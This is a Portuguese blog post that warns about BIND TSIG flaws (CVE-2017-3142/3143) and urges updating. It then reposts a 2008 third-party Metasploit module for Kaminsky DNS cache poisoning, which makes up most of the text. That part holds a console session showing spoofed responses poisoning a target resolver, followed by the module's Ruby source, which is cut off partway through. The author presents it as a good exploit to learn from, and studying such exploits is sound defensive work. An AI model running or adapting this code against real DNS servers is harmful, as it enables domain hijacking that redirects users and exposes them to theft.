Vulnerabilidade no software BIND DNS
Autor: Eduardo Popovici | Publicado: 2017-07-17T18:38:00-03:00






Vulnerabilidade no software BIND DNS possibilita acesso de qualquer pessoa para realizar alterações e transferências dinâmicas de zonas de DNS remotamente. Falha de segurança permite modificação em DNS sem autenticação.

O Laboratório de Inteligência da CIPHER alerta para uma nova vulnerabilidade no software BIND (Berkeley Internet Name Daemon), um dos mais utilizados para o protocolo DNS (Domain Name System) nos sistemas Unix, Linux e em algumas versões do Windows.

Por meio da falha, usuários não registrados podem falsificar autenticações para realizarem alterações e transferências dinâmicas de zonas de DNS de maneira remota nos computadores, levando os usuários para diferentes domínios, além de permitir mudanças nos endereços de IPs e roubo de informações.

“A transferência de zona é um processo em que um servidor DNS transmite uma cópia de sua base de dados para outro servidor”, explica Wolmer Godoi, diretor de Cibersegurança e Serviços Profissionais da CIPHER. “Ao obter uma cópia desses registros, um atacante pode realizar DNS spoofing, desfiguração de websites e negação de serviço”, completa.

O BIND, ou Berkeley Internet Name Domain ou, como chamado previamente, Berkeley Internet Name Daemon é na verdade um servidor para o protocolo DNS utilizado em larga escala pela internet, principalmente pela plataforma Open Source. Foi criado por quatro estudantes de graduação, membros de um grupo de pesquisas em ciência da computação da Universidade de Berkeley, e foi distribuído pela primeira vez com o sistema operacional 4.3BSD. Atualmente esta presente em grandes provedores por todo o mundo.

Esta falha está relacionada ao protocolo de autenticação Transaction SIGnature (TSIG) e foi comunicada através dos boletins CVE-2017-3142 e CVE-2017-3143. O erro ainda não gerou ataques (isso até hoje , 17 Julho de 2017), mas pode causar modificações de conteúdo e layout dos websites muito embreve. Não é muito difícil explorar tal vulnerabilidade e já é possível encontrar alguns exploits bem interessantes nos servidores da Deep Web.

A recomendação dos especialistas em segurança da informação da CIPHER é de atualizar imediatamente o BIND DNS para a última versão, disponível em http://www.isc.org/downloads.

REF2: http://www.securityreport.com.br/overview/falha-de-seguranca-permite-modificacao-em-dns-sem-autenticacao/#.WWlCnIIXIlM.linkedin

Aqui segue um bom Exploit para exploração de vulnerabilidade pelo BIND:

BIND 9.4.1 &lt; 9.4.2 - Remote DNS Cache Poisoning Flaw Exploit (Metasploit). A propósito, a autoria deste exploit não é minha. Tomei o cuidado de manter a autoria ativa. Notem que o exploit não é novo e esta datado pelo ano de 2008. A partir deste código é possível entender mais sobre as vulnerabilidades existentes e a facilidade em explorar novas vulnerabilidades.

____ &nbsp; &nbsp; &nbsp;____ &nbsp; &nbsp; __ &nbsp; &nbsp;__
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/ &nbsp; &nbsp;\ &nbsp; &nbsp;/ &nbsp; &nbsp;\ &nbsp; | &nbsp;| &nbsp;| &nbsp;|
&nbsp; &nbsp; &nbsp; &nbsp; ----====####/ &nbsp;/\__\##/ &nbsp;/\ &nbsp;\##| &nbsp;|##| &nbsp;|####====----
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;| &nbsp; &nbsp; &nbsp;| &nbsp;|__| &nbsp;| | &nbsp;| &nbsp;| &nbsp;|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;| &nbsp;___ | &nbsp; __ &nbsp; | | &nbsp;| &nbsp;| &nbsp;|
&nbsp; ------======######\ &nbsp;\/ &nbsp;/#| &nbsp;|##| &nbsp;|#| &nbsp;|##| &nbsp;|######======------
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\____/ &nbsp;|__| &nbsp;|__| &nbsp;\______/
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Computer Academic Underground
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; http://www.caughq.org
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Exploit Code

===============/========================================================
Exploit ID: &nbsp; &nbsp; CAU-EX-2008-0003
Release Date: &nbsp; 2008.07.23
Title: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;bailiwicked_domain.rb
Description: &nbsp; &nbsp;Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested: &nbsp; &nbsp; &nbsp; &nbsp; BIND 9.4.1-9.4.2
Attributes: &nbsp; &nbsp; Remote, Poison, Resolver, Metasploit
Exploit URL: &nbsp; &nbsp;http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
Author/Email: &nbsp; I)ruid &lt;druid (@) caughq.org&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; H D Moore &lt;hdm (@) metasploit.com&gt;
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. &nbsp;This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain. &nbsp;By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache. &nbsp;This insertion completely replaces the original nameserver
records for the target domain.


Example
=======

# /msf3/msfconsole

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;### &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## &nbsp; &nbsp;##
&nbsp;## &nbsp;## &nbsp;#### ###### #### &nbsp;##### &nbsp; ##### &nbsp; &nbsp;## &nbsp; &nbsp;#### &nbsp; &nbsp; &nbsp; &nbsp;######
####### ## &nbsp;## &nbsp;## &nbsp;## &nbsp; &nbsp; &nbsp; &nbsp; ## ## &nbsp;## &nbsp; &nbsp;## &nbsp; ## &nbsp;## &nbsp; ### &nbsp; ##
####### ###### &nbsp;## &nbsp;##### &nbsp; #### &nbsp;## &nbsp;## &nbsp; &nbsp;## &nbsp; ## &nbsp;## &nbsp; ## &nbsp; &nbsp;##
## # ## &nbsp; &nbsp; ## &nbsp;## &nbsp;## &nbsp;## ## &nbsp; &nbsp; &nbsp;##### &nbsp; &nbsp;## &nbsp; ## &nbsp;## &nbsp; ## &nbsp; &nbsp;##
## &nbsp; ## &nbsp;#### ### &nbsp; ##### &nbsp; ##### &nbsp; &nbsp; ## &nbsp; #### &nbsp; #### &nbsp; #### ###
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ##


&nbsp; &nbsp; &nbsp; &nbsp;=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
&nbsp; &nbsp; &nbsp; &nbsp;=[ 73 aux

msf &gt; use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) &gt; set RHOST A.B.C.D
RHOST =&gt; A.B.C.D
msf auxiliary(bailiwicked_domain) &gt; set DOMAIN example.com
DOMAIN =&gt; example.com
msf auxiliary(bailiwicked_domain) &gt; set NEWDNS dns01.metasploit.com
NEWDNS =&gt; dns01.metasploit.com
msf auxiliary(bailiwicked_domain) &gt; set SRCPORT 0
SRCPORT =&gt; 0
msf auxiliary(bailiwicked_domain) &gt; check
[*] Using the Metasploit service to verify exploitability...
[*] &nbsp;&gt;&gt; ADDRESS: A.B.C.D &nbsp;PORT: 50391
[*] &nbsp;&gt;&gt; ADDRESS: A.B.C.D &nbsp;PORT: 50391
[*] &nbsp;&gt;&gt; ADDRESS: A.B.C.D &nbsp;PORT: 50391
[*] &nbsp;&gt;&gt; ADDRESS: A.B.C.D &nbsp;PORT: 50391
[*] &nbsp;&gt;&gt; ADDRESS: A.B.C.D &nbsp;PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) &gt; dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

b.iana-servers.net.
a.iana-servers.net.

msf auxiliary(bailiwicked_domain) &gt; run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*] &nbsp;Got an NS record: example.com. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;171957 &nbsp;IN &nbsp; &nbsp; &nbsp;NS &nbsp; &nbsp; &nbsp;b.iana-servers.net.
[*] &nbsp; Querying recon nameserver for address of b.iana-servers.net....
[*] &nbsp; &nbsp;Got an A record: b.iana-servers.net. &nbsp; &nbsp; 171028 &nbsp;IN &nbsp; &nbsp; &nbsp;A &nbsp; &nbsp; &nbsp; 193.0.0.236
[*] &nbsp; &nbsp; Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*] &nbsp; &nbsp; b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] &nbsp;Got an NS record: example.com. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;171957 &nbsp;IN &nbsp; &nbsp; &nbsp;NS &nbsp; &nbsp; &nbsp;a.iana-servers.net.
[*] &nbsp; Querying recon nameserver for address of a.iana-servers.net....
[*] &nbsp; &nbsp;Got an A record: a.iana-servers.net. &nbsp; &nbsp; 171414 &nbsp;IN &nbsp; &nbsp; &nbsp;A &nbsp; &nbsp; &nbsp; 192.0.34.43
[*] &nbsp; &nbsp; Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*] &nbsp; &nbsp; a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed

msf auxiliary(bailiwicked_domain) &gt; dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

dns01.metasploit.com.


Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

Cedric Blancher &lt;sid (@) rstack.org&gt; figured out the NS injection method and
was cool enough to email us and share!


References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113


Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedDomain &lt; Msf::Auxiliary

&nbsp; &nbsp; include Exploit::Remote::Ip

&nbsp; &nbsp; def initialize(info = {})
&nbsp; &nbsp; &nbsp; &nbsp; super(update_info(info,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'Name' &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; 'DNS BailiWicked Domain Attack',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'Description' &nbsp; &nbsp;=&gt; %q{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; This exploit attacks a fairly ubiquitous flaw in DNS implementations which
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dan Kaminsky found and disclosed ~Jul 2008. &nbsp;This exploit replaces the target
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; domains nameserver entries in a vulnerable DNS cache server. This attack works
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; by sending random hostname queries to the target DNS server coupled with spoofed
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; replies to those queries from the authoritative nameservers for that domain.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Eventually, a guessed ID will match, the spoofed packet will get accepted, and
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; the nameserver entries for the target domain will be replaced by the server
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; specified in the NEWDNS option of this exploit.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'Author' &nbsp; &nbsp; &nbsp; &nbsp; =&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ' &nbsp; I)ruid', 'hdm',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'Cedric Blancher &lt;sid[at]rstack.org&gt;' # Cedric figured out the NS injection method
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # and was cool enough to email us and share!
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'License' &nbsp; &nbsp; &nbsp; &nbsp;=&gt; MSF_LICENSE,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'Version' &nbsp; &nbsp; &nbsp; &nbsp;=&gt; '$Revision: 5591 $',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'References' &nbsp; &nbsp; =&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ 'CVE', '2008-1447' ],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ 'US-CERT-VU', '8000113' ],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'DisclosureDate' =&gt; 'Jul 21 2008'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; register_options(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ], self.class)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; end
&nbsp; &nbsp; 
&nbsp; &nbsp; def auxiliary_commands
&nbsp; &nbsp; &nbsp; &nbsp; return { "check" =&gt; "Determine if the specified DNS server (RHOST) is vulnerable" }
&nbsp; &nbsp; end

&nbsp; &nbsp; def cmd_check(*args)
&nbsp; &nbsp; &nbsp; &nbsp; targ = args[0] || rhost()
&nbsp; &nbsp; &nbsp; &nbsp; if(not (targ and targ.length &gt; 0))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("usage: check [dns-server]")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return
&nbsp; &nbsp; &nbsp; &nbsp; end

&nbsp; &nbsp; &nbsp; &nbsp; print_status("Using the Metasploit service to verify exploitability...")
&nbsp; &nbsp; &nbsp; &nbsp; srv_sock = Rex::Socket.create_udp(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'PeerHost' =&gt; targ,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'PeerPort' =&gt; 53
&nbsp; &nbsp; &nbsp; &nbsp; ) &nbsp; &nbsp; 

&nbsp; &nbsp; &nbsp; &nbsp; random = false
&nbsp; &nbsp; &nbsp; &nbsp; ports &nbsp;= []
&nbsp; &nbsp; &nbsp; &nbsp; lport &nbsp;= nil
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; 1.upto(5) do |i|
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req = Resolv::DNS::Message.new
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.rd = 1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; srv_sock.put(req.encode)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res, addr = srv_sock.recvfrom()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if res and res.length &gt; 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res = Resolv::DNS::Message.decode(res)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res.each_answer do |name, ttl, data|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t_addr, t_port = $1.split(':')

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status(" &gt;&gt; ADDRESS: #{t_addr} &nbsp;PORT: #{t_port}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t_port = t_port.to_i
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(lport and lport != t_port)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; random = true
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lport &nbsp;= t_port
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ports &lt;&lt; t_port
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; srv_sock.close
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; if(ports.length &lt; 5)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return
&nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; if(random)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status(" &nbsp; &nbsp; &nbsp;This server may still be exploitable, but not by this tool.")
&nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
&nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; def run
&nbsp; &nbsp; &nbsp; &nbsp; target &nbsp;= rhost()
&nbsp; &nbsp; &nbsp; &nbsp; source &nbsp;= Rex::Socket.source_address(target)
&nbsp; &nbsp; &nbsp; &nbsp; sport &nbsp; = datastore['SRCPORT']
&nbsp; &nbsp; &nbsp; &nbsp; domain &nbsp;= datastore['DOMAIN'] + '.'
&nbsp; &nbsp; &nbsp; &nbsp; newdns &nbsp;= datastore['NEWDNS']
&nbsp; &nbsp; &nbsp; &nbsp; recons &nbsp;= datastore['RECONS']
&nbsp; &nbsp; &nbsp; &nbsp; xids &nbsp; &nbsp;= datastore['XIDS'].to_i
&nbsp; &nbsp; &nbsp; &nbsp; newttl &nbsp;= datastore['TTL'].to_i
&nbsp; &nbsp; &nbsp; &nbsp; xidbase = rand(20001) + 20000
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; address = Rex::Text.rand_text(4).unpack("C4").join(".")

&nbsp; &nbsp; &nbsp; &nbsp; srv_sock = Rex::Socket.create_udp(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'PeerHost' =&gt; target,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'PeerPort' =&gt; 53
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp; # Get the source port via the metasploit service if it's not set
&nbsp; &nbsp; &nbsp; &nbsp; if sport.to_i == 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req = Resolv::DNS::Message.new
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req.rd = 1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; srv_sock.put(req.encode)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res, addr = srv_sock.recvfrom()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if res and res.length &gt; 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res = Resolv::DNS::Message.decode(res)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res.each_answer do |name, ttl, data|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t_addr, t_port = $1.split(':')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sport = t_port.to_i

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("Switching to target port #{sport} based on Metasploit service")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if target != t_addr
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end
&nbsp; &nbsp; &nbsp; &nbsp; end

&nbsp; &nbsp; &nbsp; &nbsp; # Verify its not already poisoned
&nbsp; &nbsp; &nbsp; &nbsp; begin
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; query = Resolv::DNS::Message.new
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; query.add_question(domain, Resolv::DNS::Resource::IN::NS)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; query.rd = 0

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cached = false
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; srv_sock.put(query.encode)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; answer, addr = srv_sock.recvfrom()

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if answer and answer.length &gt; 0
